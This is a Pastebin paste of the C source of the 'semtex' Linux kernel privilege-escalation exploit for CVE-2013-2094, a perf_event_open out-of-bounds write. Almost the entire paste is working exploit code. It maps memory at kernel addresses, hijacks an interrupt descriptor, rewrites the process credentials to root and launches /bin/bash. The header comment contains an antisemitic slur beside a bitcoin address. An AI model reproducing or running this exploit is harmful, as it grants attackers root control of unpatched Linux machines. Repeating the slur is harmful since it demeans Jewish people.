virtualnote

Untitled

Apr 3rd, 2019
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.77 KB | None | 0 0
  1. /*
  2. * linux 2.6.37-3.x.x x86_64, ~100 LOC
  3. * gcc-4.6 -O2 semtex.c && ./a.out
  4. * 2010 [email protected], salut!
  5. *
  6. * update may 2013:
  7. * seems like centos 2.6.32 backported the perf bug, lol.
  8. * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
  9. *
  10. * EDB Note: Update ~ http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/
  11. * ~ https://github.com/realtalk/cve-2013-2094/blob/master/rewritten_semtex.c
  12. */
  13.  
  14. #define _GNU_SOURCE 1
  15. #include <stdint.h>
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18. #include <string.h>
  19. #include <unistd.h>
  20. #include <sys/mman.h>
  21. #include <syscall.h>
  22. #include <stdint.h>
  23. #include <assert.h>
  24.  
  25. #define BASE 0x380000000
  26. #define SIZE 0x010000000
  27. #define KSIZE 0x2000000
  28. #define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
  29.  
  30. void fuck() {
  31. int i,j,k;
  32. uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
  33. uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
  34. uint64_t kbase = ((uint64_t)current)>>36;
  35. uint32_t *fixptr = (void*) AB(1);
  36. *fixptr = -1;
  37.  
  38. for (i=0; i<4000; i+=4) {
  39. uint64_t *p = (void *)&current[i];
  40. uint32_t *t = (void*) p[0];
  41. if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
  42. for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
  43. if (((uint32_t*)uids)[k] != t[j+k]) goto next;
  44. for (i = 0; i < 8; i++) t[j+i] = 0;
  45. for (i = 0; i < 10; i++) t[j+9+i] = -1;
  46. return;
  47. next:; }
  48. }
  49. }
  50.  
  51. void sheep(uint32_t off) {
  52. uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
  53. int fd = syscall(298, buf, 0, -1, -1, 0);
  54. assert(!close(fd));
  55. }
  56.  
  57.  
  58. int main() {
  59. uint64_t u,g,needle, kbase, *p; uint8_t *code;
  60. uint32_t *map, j = 5;
  61. int i;
  62. struct {
  63. uint16_t limit;
  64. uint64_t addr;
  65. } __attribute__((packed)) idt;
  66. assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
  67. memset(map, 0, SIZE);
  68. sheep(-1); sheep(-2);
  69. for (i = 0; i < SIZE/4; i++) if (map[i]) {
  70. assert(map[i+1]);
  71. break;
  72. }
  73. assert(i<SIZE/4);
  74. asm ("sidt %0" : "=m" (idt));
  75. kbase = idt.addr & 0xff000000;
  76. u = getuid(); g = getgid();
  77. assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
  78. memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
  79. memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
  80. printf("2.6.37-3.x x86_64\[email protected] 2010\n") % 27);
  81. setresuid(u,u,u); setresgid(g,g,g);
  82. while (j--) {
  83. needle = AB(j+1);
  84. assert(p = memmem(code, 1024, &needle, 8));
  85. if (!p) continue;
  86. *p = j?((g<<32)|u):(idt.addr + 0x48);
  87. }
  88. sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
  89. asm("int $0x4"); assert(!setuid(0));
  90. return execl("/bin/bash", "-sh", NULL);
  91. }
Advertisement
Add Comment
Please, Sign In to add comment